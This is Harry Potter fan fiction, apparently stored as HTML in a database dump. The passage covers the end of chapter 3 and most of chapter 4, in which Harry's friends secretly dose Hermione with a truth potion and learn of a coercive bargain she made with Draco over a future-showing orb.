did that feel Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Free,\nall my thoughts and worries seemed to disappear.&#8221; She sighed for the first time\nin a long time she felt certain happiness come over her. Then looking over at\nHarry and Ron and Ginny and even Draco, the dark cloud passed over her mind\nagain. She turned her wrist over and looked at her watch. Class was just about\nover, &#8220;Can I go now Hagrid, class is over in like two minutes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hagrid\nnodded and dismissed the class and the students started walking to the great\nhall for lunch.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">========</p>\n\n<p class="MsoNormal">Alright people I can just see\nthe wheels turning, is Ron in love and if so is Zara really all that mean? What\nin heavens name is the relationship between Draco and Hermione, Will Harry ever\ntell Hermione how he feels about her. What significance does the unicorn hold\nto the story? The truth shall be revealed, just not yet. Stay tuned for Chapter\n4-- What doth lie beneath</p>\n\n\n\n\n\n\n'),
	(41, 4, ' <p>Disclaimer: Alright all the Harry Potter characters belong to J.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>Chapter 4&#8212;What Doth Lie Beneath.</p>\n\n<p>The candle light in the library was bright enough for people to study, the second day of classes had been quite busy for six year students there was already a essay in charms due on Friday.&nbsp; So they were all busy reading, writing, scribbling hard.&nbsp; Instead of studying Draco had his head down on his book, sleeping peacefully.&nbsp; </p>\n\n<p>Harry noticed the blonde head and looked over, he recalled the conversation that Draco and Hermione had in the potions class yesterday, he wondered what that was all about.&nbsp; Had they been secretly meeting, it sure seemed that way.&nbsp; Even Lavender seemed to know more about what was going on than he did.&nbsp; <i>Why was Hermione keeping me in the dark? </i>He thought. Harry heard Draco speaking in his sleep, he was probably dreaming of something horrible to do to people. He just ignored it and returned to his book.</p>\n\n<p>Draco&#8217;s head turned over and he remained asleep<i>&#8212;&#8220;do you really think he can handle this responsibility.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Certainly he has never let me down before, why should he start now.&nbsp; He has already given the Orb ahead of schedule.&#8221; Lucious replied to a dark mysterious figure.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;You realize that if your boy doesn&#8217;t fall through with the plan, I won&#8217;t hesitate in my decision to eliminate him.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;He will not fail you.&#8221; Lucious replied confident.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;He had better not for both your sakes,&#8221; He sat down on a black hard thrown adorned by serpents with rubies for eyes. &#8220;I will not have the same mistake repeated, do I make myself clear.&#8221; </i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Yes.&#8221; Lucious replied looking over at the other menacing dark figure standing by the thrown known to all as the dark lord himself Voldermort, who was smirking evilly.&nbsp; &#8220;My lord if I may, what does this plan have to do with your revenge?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;It will all come together in the end, just make sure your son knows what he has to do.&#8221; and if he wants to do a little extra, he is permitted.&#8221; He replied with a hiss in his voice while looking towards the thrown, &#8220;Do you not agree?&#8221; He asked candidly. &#8220;Give him a little reward for his efforts?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Oh I agree, whatever he wants as long as the doubt has been placed.&#8221;&nbsp; The three men laughed insanely at the thought of the plan&#8212; </i>Draco sat up slowly rubbing his eyes, he looked over at Harry who was reading a book, he then stood and left the library.</p>\n\n<p>Harry was bent over his book reading silently when a hand came down on his shoulder; he looked up to find Dumbledore smiling down at him his eyes twinkling. &#8220;Hallo Harry, how about you taking a walk with me?&#8221; Agreeing, Harry packed up his books and walked with Dumbledore out of the library. </p>\n\n<p>They were quiet until they headed towards the front doors. &#8220;It&#8217;s such a lovely day why don&#8217;t we walk along the grounds.&#8221; Dumbledore suggested looking over at Harry for approval. Getting it they walked out the main doors and out into the sun.&nbsp; Dumbledore looked up at the sun, &#8220;well it&#8217;s nearing the end of summer, and autumn will be upon us very soon.&#8221; He then smiled&nbsp; </p>\n\n<p>&#8220;Is there something you wanted to talk to me about?&#8221; Harry asked trying not to sound rushed.</p>\n\n<p>Dumbledore held the necklace out for Harry and watched him take it back, &#8220;I noticed you&#8217;ve been a friend short these days.&#8221;</p>\n\n<p>Harry knew who he was referring to, &#8220;yeah, it sure seems that way.&nbsp; But everything is all right.&#8221; He lied.</p>\n\n<p>If Dumbledore knew Harry was lying he didn&#8217;t let on at all he just smiled, &#8220;I know this can be a difficult time for all of you, trying to grow up in a cold, unfriendly world. All you&#8217;ve really got is each other.&#8221; He said with a serious expression.</p>\n\n<p>Harry nodded. </p>\n\n<p>&#8220;No hexes on the necklace?&#8221; Harry gazed at the necklace.</p>\n\n<p>&#8220;Not a single one, but there is an energy coming off it.&#8221; He then smiled, &#8220;not a harmful or dangerous energy, but an energy nonetheless.&#8221; Thinking for a moment, Dumbledore then asked, &#8220;may I ask where you found it?&#8221;&nbsp; </p>\n\n<p>&#8220;I didn&#8217;t Hermione found it, why do you ask?&#8221; He looked up at Dumbledore.</p>\n\n<p>&#8220;It&#8217;s a very valuable piece as you might have guessed, and it belonged to a very important person in our history.&#8221; Dumbledore said pleasantly.</p>\n\n<p>&#8220;Really, who?&#8221; Harry didn&#8217;t seem all that interested in history, but he might as well humor his headmaster who so very much loved history.</p>\n\n<p>&#8220;It was Jasmine&#8217;s necklace the daughter of one of our founders Rowena Ravenclaw.&#8221;</p>\n\n<p>Harry thought a moment, that name was very familiar but where did he know it from? He was sure he&#8217;s heard that name before somewhere. But he shook his head trying to shake out the thought.</p>\n\n<p>&#8220;You won&#8217;t learn about her until next year, but I&#8217;ll tell you this she helped establish order in the council and convinced them to conceal our world from the muggles world.&nbsp; She was very wise for being so young, much like her mother.&#8221;</p>\n\n<p>&#8220;Do you think I should give it back to Hermione?&#8221; Harry asked changing the subject.</p>\n\n<p>&#8220;I don&#8217;t know this necklace is a huge responsibility. Do you think she can handle it?&#8221; Dumbledore&#8217;s eye brows met in the middle with his question</p>\n\n<p>&#8220;She&#8217;s the most responsible person I know, sure I think she could handle just about anything.&#8221;</p>\n\n<p>Dumbledore put his finger to his chin, &#8220;I&#8217;m going to ask has she worn it yet?&#8221;</p>\n\n<p>&#8220;Yes, I found it around her neck. We thought it might be something to do with dark magic.&#8221;</p>\n\n<p>&#8220;What did you do after that?&#8221; there was another question hidden in that question.</p>\n\n<p>&#8220;We took it off her what else would we do?&#8221; </p>\n\n<p>&#8220;Who&#8217;s we?&#8221; Dumbledore was getting specific.</p>\n\n<p>&#8220;Well actually it was me, Ron and Ginny tried but they got injured in doing so.&#8221; He remembered quickly.</p>\n\n<p>&#8220;Interesting,&#8221; caution seemed to run through Dumbledore&#8217;s voice.&nbsp; He then looked up towards the castle, &#8220;well if you think Hermione should have the necklace back, then give it to her.&nbsp; Like you said she&#8217;s responsible, so she should have no problems with it.&#8221; He paused a moment.&nbsp; &#8220;Harry, have you had any nightmares about Voldermort?&#8221;</p>\n\n<p>Harry thought a moment, &#8220;no, I haven&#8217;t had any nightmares at all recently. I was kinda hoping he might be dead.&#8221; He said half teasing.</p>\n\n<p>Dumbledore chuckled lightly, &#8220;sorry Harry, he&#8217;s still alive.&nbsp; He just hasn&#8217;t been giving the killing curse lately.&nbsp; Which is not his pattern at all.&#8221; Dumbledore replied looking around and then back at the castle, &#8220;well thanks for the talk Harry, we should do it again sometime.&#8221; He patted Harry on the back once as they walked into the castle.&nbsp; Harry watched Dumbledore climb the stairs he was clearly deep in thought.&nbsp; He heard a small faint voice coming from a gap under the stairwell, he saw a blonde head that was shaking back and forth, it was Draco Malfoy&#8217;s head and he was talking to someone but was blocking the view of who it was.&nbsp; </p>\n\n<p>Harry saw a foot kick Draco hard in the ankle and Draco yelled in pain and bent down to try and sooth the burning ache, after that he saw Hermione come out from behind him and turn to look at Draco&#8217;s bent frame, &#8220;stay away from me or you&#8217;ll never get it back.&#8221; </p>\n\n<p>Draco turned, looking up at her &#8220;you&#8217;re just putting off the inevitable you know.&#8221; He dropped his foot, &#8220; oh and don&#8217;t you ever kick me again or you will regret it.&#8221;</p>\n\n<p>&#8220;Don&#8217;t you dare threaten me Draco Malfoy, or I might not ever give it back and you know what that means.&#8221; With those words she turned and found Harry staring at her with confusion, and possibly even jealousy, <i>no stop seeing things Hermione</i>, she said to herself dismissing it. She started to pass him, &#8220;what?!&#8221;</p>\n\n<p>&#8220;I&#8217;m just trying to figure out what is going on.&#8221; Harry said exasperated.</p>\n\n<p>&#8220;It really doesn&#8217;t concern you,&#8221; And she walked quickly past him.</p>\n\n<p>Harry was about to say something else but she was gone too fast, he turned and found Draco straightening his hair and his robes.&nbsp; &#8220;What are you doing with Hermione?&#8221; He asked in anger trying not to sound jealous, but it was really hard not to.</p>\n\n<p>&#8220;Like she said it really doesn&#8217;t concern you.&#8221; Draco smirked wickedly.</p>\n\n<p>Harry really wanted to smash his face in but he restrained himself, &#8220;Yes it does.&#8221; He said through gritted teeth.</p>\n\n<p>&#8220;Do you really want me to spell it out for you, she&#8217;s got something I want. And I&#8217;m sure you&#8217;ve noticed.&#8221; Draco sounded crude and he really wanted to make Harry mad just to see what he would do, &#8220;Of course it&#8217;s taking her awhile to warm up to me. Boy if you asked me two years ago if I would ever be after Granger&#8217;s tail I would&#8212;&#8221; Draco was interrupted by Harry grabbing him by the front of his robes.</p>\n\n<p>&#8220;Shut up Malfoy, don&#8217;t talk about her like that!&#8221; He was almost beyond control, so enraged that he had no idea that he had lifted Draco a few inches off the ground and had slammed him against the wall holding him in place.</p>\n\n<p>Draco laughed wickedly, &#8220;Aren&#8217;t we a little touchy,&#8221; he was sarcastic but still laughing, &#8220;what&#8217;s the matter you&#8217;re not in love with the witch are you?&#8221; He was still laughing.</p>\n\n<p>Harry dropped him &#8220;no!&#8221; He shouted immediately, something in the back of his head told him to say yes but he ignored it. &#8220;She is my friend I will not have you talking about her like that, in fact you shouldn&#8217;t be talking to her at all.&#8221; Harry crossed his arms firmly, &#8220;stay away from her if you know what&#8217;s good for you.&#8221;</p>\n\n<p>&#8220;Oh that&#8217;s rich Potter, you ordering me to stay away from her.&#8221; He looked at his neatly trimmed fingernails. &#8220;I don&#8217;t think so, besides she wants me around she just would never tell you that. And if you&#8217;re not in love with her then you have no right to tell me to stay away. I mean I could understand as one guy to another even though I hate your sodding guts, when they have a claim on someone. But you have no such claim do you?&#8221; Draco shook his head back and forth as he walked away with Harry just staring at him.&nbsp; </p>\n\n<p>**** </p>\n\n<p>Ron saw a purple head bent over a sheet of paper she was scribbling quickly with her quill.&nbsp; He slowly walked over to the table she seemed so involved in her writing that she didn&#8217;t see him.&nbsp; He glanced down as Zara was writing and scratching out what was wrong, she lifted her quill and dabbed it into her inkwell. &#8220;Well are you going to sit down or just stand there with your mouth hanging open?&#8221; She looked up at him her eyes smiling.</p>\n\n<p>Feeling embarrassed he took a seat next to her, &#8220;I&#8217;ve been meaning to ask you something.&#8221; </p>\n\n<p>Zara looked right at him, &#8220;what is it?&#8221;</p>\n\n<p>Ron thought a moment, &#8220;It&#8217;s just you seemed so different when I met you on the train and yesterday in Potions class it was like you were a totally different person.&#8221;</p>\n\n<p>She sat her quill down and looked at him, &#8220;I somehow knew this was coming.&#8221; Zara sighed deeply, &#8220;on the train you only met me for a moment. The person who hit Draco without so much as a thought is more of who I am. And well if you&#8217;re thinking of what I did in Potions and what I had said to Jocko, he&#8217;s a big jerk and he deserves that.&nbsp; But I&#8217;m not a bad girl in the sense of hurting people, I just don&#8217;t take anything lying down, no one hurts me without getting hurt themselves.&nbsp; But Jewel and Enrique that&#8217;s a whole nother story.&nbsp; They are mean to the core.&#8221; She smiled.</p>\n\n<p>&#8220;I could have figured that out by what house they were placed in.&#8221; Ron smiled to himself thinking that this girl was okay.</p>\n\n<p>&#8220;I heard around that you&#8217;re the Quidditch captain do you need any more players?&#8221;</p>\n\n<p>Now Ron stared, &#8220;you play Quidditch?&#8221; His eyes glittered brightly he had never heard something so wonderful in his life.</p>\n\n<p>&#8220;Oh yeah, I was the best damn beater on my school team,&#8221; Zara beamed with pride.</p>\n\n<p>Well our first practice is tomorrow, you can come down to the pitch and see if we can use you.&nbsp; I&#8217;ll run it by Harry.&#8221; He smiled.</p>\n\n<p>Fred and George walked into the library and immediately saw Ron talking with Zara and they quickly made their way over to them, both of the twins smiled. &#8220;So you&#8217;re the new transfer everyone is talking about.&#8221; Fred was smiling.&nbsp; &#8220;I am very honored to meet you. I&#8217;ve heard about your insulting exploits and have come to commend you for you&#8217;re great work and we both hope to see more of it before the year is out.&#8221; He bowed before her.</p>\n\n<p>&#8220;Thanks, I think.&#8221; Looking confused she turned to Ron, &#8220;um do you know these guys?&#8221;</p>\n\n<p>Ron sighed &#8220;sadly yes, they are my brothers.&#8221;</p>\n\n<p>Zara put her hand on Ron&#8217;s shoulder, &#8220;I&#8217;m sorry.&#8221;&nbsp; She said sincerely with a smile.</p>\n\n<p>He couldn&#8217;t help from laughing as Fred and George sat down next to Ron and Zara, George looked up the moment Harry walked in, he looked madder than he had ever seen him. &#8220;Hey what&#8217;s with him?&#8221; He pointed and the other three looked up as Harry went straight to a table and threw his bag down loudly, hearing the shhhs. Harry crossed his arms and glared into nowhere.</p>\n\n<p>The four of them got up and walked over to Harry&#8217;s table, &#8220;Hey what&#8217;s up?&#8221; Fred asked cautiously</p>\n\n<p>Harry glared up at him, &#8220;I&#8217;m going to kill him.&#8221; His tone was dead serious.</p>\n\n<p>The four of them sat down at Harry&#8217;s table looking at him alarmed and wide-eyed, &#8220;kill who?&#8221; Ron asked as he had never seen his friend so enraged before, and it wasn&#8217;t a good feeling.</p>\n\n<p>&#8220;Malfoy, I&#8217;m going to kill him.&#8221; He stared at the table</p>\n\n<p>Everyone nodded, &#8220;I agree lets string him up by his thumbs and dangle him over a pit of crocodiles.&#8221; Fred laughed at his vision.</p>\n\n<p>&#8220;I&#8217;m serious.&#8221; Harry just about burst into laughter just thinking about that, which made him feel a little better.</p>\n\n<p>&#8220;Everyone&#8217;s been serious when it comes to thinking about how we&#8217;re going to kill Malfoy,&#8221; George said with a smile.&nbsp; &#8220;But the question is why do you want to kill him?&#8221;</p>\n\n<p>&#8220;He&#8217;s going after,&#8221; Harry paused and then shuddered &#8220;Hermione.&#8221;</p>\n\n<p>&#8220;Like she would ever consider&#8212;&#8221; Fred started to say but was interrupted by Harry saying, &#8220;I&#8217;ve found them together twice already, who knows how many other times they have met. Although from what I hear she&#8217;s not happy about it.&#8221; At least Harry hoped she wasn&#8217;t happy about it.&nbsp; </p>\n\n<p>&#8220;What if she is, and she&#8217;s just putting on an act in case someone did walk in on them in a rather incriminating position? I mean she is a woman with womanly needs.&#8221; George replied as both Ron and Harry shuddered just thinking about her getting her womanly needs from an ass like Draco Malfoy.</p>\n\n<p>&#8220;She has been keeping quiet these days,&#8221; Ron offered, &#8220;and very secretive, not to mention rude as hell. I think if she is spending time with Malfoy it&#8217;s rubbing off on her.&#8221;</p>\n\n<p>Fred and George both looked at each other nodded and smirked, &#8220;I have an idea.&#8221; Fred said with a smile.</p>\n\n<p>Ron and Harry both turned to Fred, &#8220;what?&#8221; They both said.</p>\n\n<p>&#8220;It&#8217;s a little invention of ours,&#8221; George said smugly.</p>\n\n<p>&#8220;It&#8217;s a potion that makes the person tell the truth when they are asleep, they cannot lie. We use it on Ron all the time.&#8221; Fred said candidly</p>\n\n<p>&#8220;What?!&#8221; Ron shouted, he heard the shhhs all around him and he ducked his head. &#8220;what?&#8221; He was quieter but still angry.</p>\n\n<p>&#8220;The best thing about it they don&#8217;t remember saying anything at all.&#8221; George chuckled as he saw the horrified look on Ron&#8217;s face twist in embarrassment.</p>\n\n<p>Heaven only knew what George and Fred knew about him, Ron was glaring but he turned looking at Zara who was trying to contain her laughter.&nbsp; &#8220;Alright that&#8217;s a wonderful invention of yours but how do we get Hermione to take it?&#8221;</p>\n\n<p>&#8220;We&#8217;ll have to slip it into her drink or put it in something that she might eat tonight.&#8221; Fred suggested.</p>\n\n<p>Harry and Ron nodded, &#8220;it would help us get to the bottom of her behavior.&#8221; Harry said but feeling a little twinge of guilt.&nbsp; He somehow knew this was wrong, but he just had to know.</p>\n\n<p>Zara gasped, &#8220;are you sure that&#8217;s a smart thing to do?&#8221; She felt awkward as they all turned to stare at her with a of&#8212;course&#8212;it&#8217;s&#8212;a&#8212;good&#8212;idea look.&nbsp; &#8220;I know I don&#8217;t know you guys very well, but playing in someone&#8217;s head can have consequences.&nbsp; You have no idea what truths are going to come out.&nbsp; What if you don&#8217;t like what you hear? She won&#8217;t remember, but that doesn&#8217;t mean you wont.&#8221;</p>\n\n<p>&#8220;We are out of options Zara, I think it would be alright.&#8221; Ron replied with a smile.</p>\n\n<p>Zara shook her head and picked up her book, &#8220;I sure hope you guys know what you&#8217;re doing?&#8221; Disappointment surged through her voice as she left the library.</p>\n\n<p>****</p>\n\n<p>Ron, Harry, Fred and George ran as fast as he could down to the kitchens, Ron tickled the pear on the painting and they were able to get into the kitchens, four house elves popped in front of them.&nbsp; &#8220;Can we have two hot chocolates?&#8221; Ron asked. And two hot chocolates topped with whipped cream and multicolored sprinkles popped into the elves hands. Ron and Harry took the chocolates in there hands while they walked from the kitchen, careful not to spill it.&nbsp; When they climbed the stairs to the Gryffindor tower George and Fred stopped them.&nbsp; &#8220;We need to put the potion in now.&#8221;</p>\n\n<p>Fred pulled out a vile of reddish brown liquid from a pocket in his robe and opened it, he put it&nbsp; up to his nose inhaling the chocolate scent.&nbsp; They had to make sure that it smelled and tasted just like the beverage they were putting it in. Both Ron and Harry knew of Hermione&#8217;s keen sense of taste and smell. She would know something is up if it didn&#8217;t smell or taste quite right.&nbsp; Fred then poured the contents of the vile in both cups of hot chocolate careful not to disturb the whipped cream. </p>\n\n<p>&nbsp;&#8220;Now we should take it because we have been fighting over her and she still talks to both of us.&#8221; George said with a smirk.</p>\n\n<p>&#8220;Yeah, if it came from you guys she would think something was wrong.&#8221; Fred grinned.</p>\n\n<p>Ron and Harry both nodded their heads as Fred and George took the cups of hot chocolate.&nbsp; </p>\n\n<p>Ron looked up at the portrait that led into the tower and said &#8220;Honor bound.&#8221; The portrait swung aside allowing them entrance to their common room.&nbsp; Harry and Ron went past Hermione who was on the sofa reading her Ancient Egyptian wizards works text book.&nbsp; They noticed the common room was still filled with students of all ages laughing and having a good time.&nbsp; Ron and Harry immediately went over to the chess board and started setting up their pieces, Fred and George came in a few moments later carrying the hot chocolate.</p>\n\n<p>After the chess pieces were set up, Ron made the first move.&nbsp; He moved the little white pawn right in front of the Bishop two steps. Harry made the same move, the piece cursed him for copying saying that he should come up with his own strategy not stealing someone else&#8217;s. Harry shushed the piece, &#8220;quiet I know what I&#8217;m doing.&#8221; Harry&#8217;s pawn shook its head knowing that this game was lost already.&nbsp; Harry looked to his right as Fred and George rushed up to Hermione with big smiles plastered across their faces.</p>\n\n<p>&#8220;Hermione look I&#8217;ve brought you hot chocolate.&#8221; Fred said.</p>\n\n<p>&#8220;No I did.&#8221; George tried to push his way in front of Fred.</p>\n\n<p>Hermione looked up at them, &#8220;look guys I don&#8217;t want you fighting, that is really hot and I don&#8217;t want it spilled on me. Do you understand?&#8221; She glared up warningly, remembering what happened at the lake.</p>\n\n<p>&#8220;You do want mine though don&#8217;t you Hermione.&#8221; George said in a whine.</p>\n\n<p>Hermione smiled falsely, but she loved hot chocolate and would drink it of the Dark Lord himself was giving it to her, &#8220;tell you what guys, I&#8217;ll take both of them. Of course it doesn&#8217;t mean I&#8217;m going to drink both of them.&#8221; She looked at each of the twins and they brought their hands down together at the same time.&nbsp; With both hands she took the drinks and sat them down on the table behind her.&nbsp; For a minute there she turned her head and stared and the drinks. She sighed with anticipation, oh the white whipped cream with the yummy multicolored sprinkles not to mention the rich tasting chocolate that was in the cup. It was a hard combination to resist.</p>\n\n<p>Through the corner of his eye Harry watched Hermione dip her pinkie finger into the whipped cream and place it in her mouth, closing her eyes in utter delight.&nbsp; He then felt really bad, this was a joy to her one that she really loved, and if something went wrong it would be ruined for her.&nbsp; <i>Should I get up and take it away?</i> He thought to himself. </p>\n\n<p>&nbsp;Ron looked up from the chess board as if he heard Harry&#8217;s thoughts, he shook his head no.&nbsp; He must have been having second thoughts also Harry thought, but it was too late now anyway for she was already drinking some of it.&nbsp; And what made him feel even worse was watching her look into the cup and drinking the rest of it.&nbsp; She would never forgive him if she found out what was actually in there and that he wanted to give it to her.&nbsp; He had never felt so bad in his entire life.&nbsp; <i>But</i>\n\n<i>this is for her own good</i> he thought, as if trying to find justification in what he had just done. He watched her as she sat the cup down on the table and went back to her reading.</p>\n\n<p>The common room quieted down as students emptied the room making their way towards their rooms for sleep.&nbsp; Yawning, Zara came down the stairs holding a water glass in her hand Ron looked up at her as two children passed her on the stairs, they stopped and stared at her.&nbsp; Zara looked down at them with a smile &#8220;yes?&#8221;</p>\n\n<p>One of them was really shy but she opened her mouth to speak, &#8220;is that real?&#8221; She asked in a small voice.</p>\n\n<p>&#8220;Is what real?&#8221; Zara looked between the two children.</p>\n\n<p>One of them lightly touched her hair, &#8220;that, is your hair real?&#8221;</p>\n\n<p>Zara smiled lightly, &#8220;yes it is, do you want a piece?&#8221;</p>\n\n<p>The two children stared at her at Zara pulled a few tiny strands from her head and handed them to the children.</p>\n\n<p>The youngest one nudged her friend, &#8220;see I told you it was real.&#8221; And they continued to argue all the way into their first year&#8217;s room.&nbsp; Zara laughed to herself as she continued on down the stairs walking into the practically empty common room except for Fred, George, Ron and Harry, then she realized <i>oh yeah they were going to do that tonight</i>. She thought to herself.&nbsp; She looked over at the clock it was ten till midnight. Zara looked over to the sofa finding Hermione drifting off to sleep, her hand was resting in the crease of the book, as her head fell back against the cushion.</p>\n\n<p>She walked over to Ron and Harry, &#8220;well guys your victim for the evening has gone to dreamland, but just remember what I said earlier.&#8221; It sounded like a warning.</p>\n\n<p>Ron and Harry looked around, past Zara at Hermione who was in fact asleep, they stood and slowly walked over to the sofa, Fred and George followed.&nbsp; Zara did too, even though this was wrong she still wanted to see it.&nbsp; She sat down against the couch looking up at Hermione.&nbsp; Ron, Harry, Fred and George just stood around looking at her.</p>\n\n<p>&#8220;How do we know if she&#8217;s really asleep?&#8221; Harry asked in a whisper just in case Hermione wasn&#8217;t asleep.</p>\n\n<p>&#8220;Well ask her a question and see,&#8221; Fred cleared his throat. He leaned closer to Hermione looking down at her pretty face, &#8220;Hermione are you asleep?&#8221;</p>\n\n<p>&#8220;Yes.&#8221; Her tone was colorless and her eyes were closed.</p>\n\n<p>Fred nodded, &#8220;that&#8217;s what Ron used to say when we started asking him interesting things,&#8221; He said looking around at them, he then put all his attention on Hermione, &#8220;Hermione, who do you like better, me Fred or my brother George?&#8221;</p>\n\n<p>&#8220;Neither, you are both annoying and need to get a life.&#8221; Hermione answered.</p>\n\n<p>Zara covered her mouth with her hand suppressing a giggle &#8220;I told you so.&#8221; She said muffled. while everyone else couldn&#8217;t help their fits of laughter.&nbsp; Fred embarrassed quieted everyone, &#8220;you know she can wake up and then she might be pretty angry and wondering why we&#8217;re all standing around her like this? So keep it quiet.&#8221;</p>\n\n<p>Harry moved around to the other side of the sofa and sat down next to Hermione, &#8220;I&#8217;ll ask her if you guys don&#8217;t mind?&#8221;</p>\n\n<p>&#8220;Not at all, just when you&#8217;re done I have a few questions of my own I would like to ask?&#8221; Ron replied as he went to sit down on the floor next to Zara.</p>\n\n<p>Putting a finger to his chin Harry thought of a question, &#8220;Hermione are you angry with me?&#8221;</p>\n\n<p>&#8220;No.&#8221; She answered.</p>\n\n<p>&#8220;Are you angry with Ron?&#8221; He was cautious</p>\n\n<p>&#8220;Always.&#8221;</p>\n\n<p>Ron rolled his eyes, he looked down at Zara, &#8220;we are always at each others throats, but it&#8217;s part of our friendship.&#8221;&nbsp; He smiled and Zara nodded in understanding</p>\n\n<p>Harry shook his head, &#8220;are you angry with Ron now?&#8221;</p>\n\n<p>&#8220;No.&#8221; Hermione said</p>\n\n<p>&#8220;Are you angry with Ginny?&#8221;</p>\n\n<p>&#8220;No.&#8221; </p>\n\n<p>Harry thought harder, &#8220;then why are you avoiding Ron, Ginny and I?&#8221;</p>\n\n<p>&#8220;If I don&#8217;t you&#8217;ll all be hurt.&#8221; She answered.</p>\n\n<p>&#8220;Hurt by who?&#8221; Harry was confused.</p>\n\n<p>&#8220;By me, I&#8217;m afraid I will kill all of you.&#8221; She answered sadly.</p>\n\n<p>Harry looked wide eyed up at everyone, and then back down at Hermione &#8220;why would you think that?&#8221;</p>\n\n<p>&#8220;I&#8217;ve seen it in Draco Malfoy&#8217;s orb of Ellia.&#8221; She said.</p>\n\n<p>&#8220;Is that what you have that belongs to Draco Malfoy?&#8221; Harry asked carefully.</p>\n\n<p>&#8220;Yes.&#8221; She answered.</p>\n\n<p>&#8220;What is the Orb of Ellia.&#8221; Harry asked.</p>\n\n<p>&#8220;It shows you your future.&#8221; </p>\n\n<p>&#8220;How did you get this Orb from Draco Malfoy?&#8221; </p>\n\n<p>&#8220;I had a gotten a job over last spring break for the upcoming summer at the library in Diagon Alley you know how much I love going to libraries.&nbsp; Draco Malfoy came in looking for a book and since I was in training I had to help him. I didn&#8217;t want to but I did it because it was my job.&nbsp; He said he was looking for a book on rare orbs and crystals he pulled the orb out of his bag he was holding and showed it to me.&#8221;&nbsp; </p>\n\n<p>Hermione took a breath and then continued. &#8220;The orb turned from black to clear with vibrant colors, I had to hold it.&nbsp; I asked him if I could see it. With out talking to me he put it in my hand and I stared directly into it, it mesmerized me I wanted to keep it.&nbsp; I asked him if he would consider giving it to me, yeah right I thought.&nbsp; But he said he would loan it to me for however long I wanted it. I asked him what the deal was, because I know how much he loathes the very sight of me.&nbsp;&nbsp; He said to offer him something, I told him I really didn&#8217;t have anything that he would consider something, so I looked into the orb instead of listening to him, I wasn&#8217;t paying attention to him at all. Which was a very big mistake on my part,&#8221; she paused a moment and then took another breath.</p>\n\n<p>&#8220;He said something about a flower, and I didn&#8217;t really hear exactly what he said, I said fine and he said deal.&nbsp; Then I snapped out of my daze and asked him what I had just agreed to.&#8221;&nbsp; Harry knew what the deal was for and his eyes shut tightly, he didn&#8217;t need a grand explanation about it, he could hear ringing in his ears when she continued and only heard&nbsp; &#8220;He only gets it when I give the orb back to him.&#8221;</p>\n\n<p>Harry stood, &#8220;What happens if you don&#8217;t give it back to him.&#8221; He asked</p>\n\n<p>&#8220;If I don&#8217;t give it back to him the more I see. The more I see the more I hurt.&#8221; She answered.</p>\n\n<p>&#8220;How long are you going to keep the orb?&#8221; He sat down again.</p>\n\n<p>&#8220;I can&#8217;t keep it much longer, It&#8217;s driving me insane. I can feel it.&nbsp; I will hurt all of you if I don&#8217;t give it back.&#8221;</p>\n\n<p>&#8220;You don&#8217;t have to give him yourself you know, Can&#8217;t you just say no?&#8221; Harry&#8217;s question came out in pains. He didn&#8217;t like thinking about her with someone else like that.</p>\n\n<p>&#8220;No I have to, he said if it&#8217;s not a willing act then it will have to be an unwilling act and he would find me no matter where I went.&#8221; She replied with fear in her voice.</p>\n\n<p>&#8220;Do you feel that you have been tricked?&#8221; Harry asked carefully</p>\n\n<p>&#8220;Yes.&#8221; </p>\n\n<p>Ron stood up &#8220;Is there a way out of your arrangement with Draco Malfoy other than you having sex with him?&#8221; Harry didn&#8217;t like that idea but Ron was more blunt with questions and he would probably get to a solution faster.&nbsp; Harry let him continue.</p>\n\n<p>&#8220;Yes.&#8221; She answered</p>\n\n<p>&#8220;Well why don&#8217;t you use the alternate exit?&#8221; Ron asked</p>\n\n<p>&#8220;I was trying, but it didn&#8217;t work and I&#8217;m not going to push it.&#8221;</p>\n\n<p>&#8220;Why didn&#8217;t it work Hermione?&#8221; He sat down </p>\n\n<p>&nbsp;&#8220;Someone has to have a claim on me, No claim no out.&#8221; She said.</p>\n\n<p>&#8220;Someone, Can it be anyone?&#8221;</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&#8220;Who does it have to be?&#8221;</p>\n\n<p>&#8220;Harry.&#8221; She answered</p>\n\n<p>Their mouths dropped and they looked at each other, Ron closed his mouth and looked at Hermione still sleeping.&nbsp; &#8220;Why does it have to be Harry, and why did Draco Malfoy leave that as an option of getting out of the arrangement?&#8221; Ron asked as Harry waited for what seemed like ages for the answer.</p>\n\n<p>&#8220;Somehow Draco Malfoy knew that I am in love with him and he also knows that my feelings will never be returned.&nbsp; So 